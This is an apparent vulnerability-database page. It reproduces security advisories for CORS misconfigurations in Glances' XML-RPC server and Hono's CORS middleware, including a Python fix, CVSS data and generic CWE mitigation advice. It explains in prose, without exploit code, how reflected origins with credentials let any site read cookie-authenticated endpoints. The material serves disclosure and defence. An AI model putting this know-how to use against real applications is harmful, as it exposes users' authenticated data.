CORS middleware (e.g. Starlette\u0027s `CORSMiddleware`):\n\n```python\n# server.py \u2014 replace the single static self.cors_origin field with:\n\ndef _get_acao_header(self, request_origin: str) -\u003e str | None:\n \"\"\"Return the correct Access-Control-Allow-Origin value or None.\"\"\"\n if not self.cors_origins or \u0027*\u0027 in self.cors_origins:\n return \u0027*\u0027\n if request_origin in self.cors_origins:\n return request_origin\n return None # do not send the header for unlisted origins\n\n# In do_POST / send_response:\norigin = self.headers.get(\u0027Origin\u0027, \u0027\u0027)\nacao = self._get_acao_header(origin)\nif acao:\n self.send_header(\u0027Access-Control-Allow-Origin\u0027, acao)\n self.send_header(\u0027Vary\u0027, \u0027Origin\u0027)\n```\n\nAdditionally, consider retiring the legacy XML-RPC server in favour of the REST API (`glances -w`), which uses Starlette\u0027s `CORSMiddleware` correctly, and document the deprecation path.\n\n---\n\n### Responsible Disclosure\n\nThe AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first.\n\n---\n\n### Credits\n\nThis issue was identified by Micha\u0142 Majchrowicz and Marcin Wyczechowski, members of the AFINE Team.\n\n---",
"id": "GHSA-87qc-fj39-wccr",
"modified": "2026-06-22T21:27:24Z",
"published": "2026-06-22T21:27:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nicolargo/glances/security/advisories/GHSA-87qc-fj39-wccr"
},
{
"type": "PACKAGE",
"url": "https://github.com/nicolargo/glances"
},
{
"type": "WEB",
"url": "https://github.com/nicolargo/glances/releases/tag/v4.5.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Glances: XML-RPC Multi-Origin CORS Configuration Silently Falls Back to Wildcard (Incomplete Fix for CVE-2026-33533)"
}
GHSA-88FW-HQM2-52QC
Vulnerability from github – Published: 2026-06-16 14:15 – Updated: 2026-06-16 14:15Summary
With credentials: true and no explicit origin (the default wildcard), the CORS Middleware reflects the request's Origin and sends Access-Control-Allow-Credentials: true. Any site can then make credentialed cross-origin requests and read the responses, exposing cookie-authenticated endpoints to arbitrary origins.
Details
The spec forbids Access-Control-Allow-Origin: * with credentials and browsers reject it, so this configuration used to fail closed. In affected versions the middleware reflects the request Origin instead, so it now succeeds for every origin, including null. The preflight also echoes the requested headers back, approving non-simple credentialed requests too.
This issue arises when an application enables credentials: true and leaves origin unset or set to the wildcard.
Impact
Any third-party page a logged-in user visits can read the application's cookie-authenticated endpoints and perform credentialed state-changing requests. This affects applications that enable credentialed CORS without restricting origin.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "hono"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.12.25"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54290"
],
"database_specific": {
"cwe_ids": [
"CWE-942"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-16T14:15:39Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nWith `credentials: true` and no explicit `origin` (the default wildcard), the CORS Middleware reflects the request\u0027s `Origin` and sends `Access-Control-Allow-Credentials: true`. Any site can then make credentialed cross-origin requests and read the responses, exposing cookie-authenticated endpoints to arbitrary origins.\n\n### Details\n\nThe spec forbids `Access-Control-Allow-Origin: *` with credentials and browsers reject it, so this configuration used to fail closed. In affected versions the middleware reflects the request `Origin` instead, so it now succeeds for every origin, including `null`. The preflight also echoes the requested headers back, approving non-simple credentialed requests too.\n\nThis issue arises when an application enables `credentials: true` and leaves `origin` unset or set to the wildcard.\n\n### Impact\n\nAny third-party page a logged-in user visits can read the application\u0027s cookie-authenticated endpoints and perform credentialed state-changing requests. This affects applications that enable credentialed CORS without restricting `origin`.",
"id": "GHSA-88fw-hqm2-52qc",
"modified": "2026-06-16T14:15:39Z",
"published": "2026-06-16T14:15:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/honojs/hono/security/advisories/GHSA-88fw-hqm2-52qc"
},
{
"type": "PACKAGE",
"url": "https://github.com/honojs/hono"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "hono: CORS Middleware reflects any Origin with credentials when `origin` defaults to the wildcard"
}
Mitigation
Strategy: Attack Surface Reduction
Define a restrictive Content Security Policy [REF-1486] or cross-domain policy file.
Mitigation
Strategy: Attack Surface Reduction
Avoid using wildcards in the CSP / cross-domain policy file. Any domain matching the wildcard expression will be implicitly trusted, and can perform two-way interaction with the target server.
Mitigation
Strategy: Environment Hardening
For Flash, modify crossdomain.xml to use meta-policy options such as 'master-only' or 'none' to reduce the possibility of an attacker planting extraneous cross-domain policy files on a server.
No CAPEC attack patterns related to this CWE.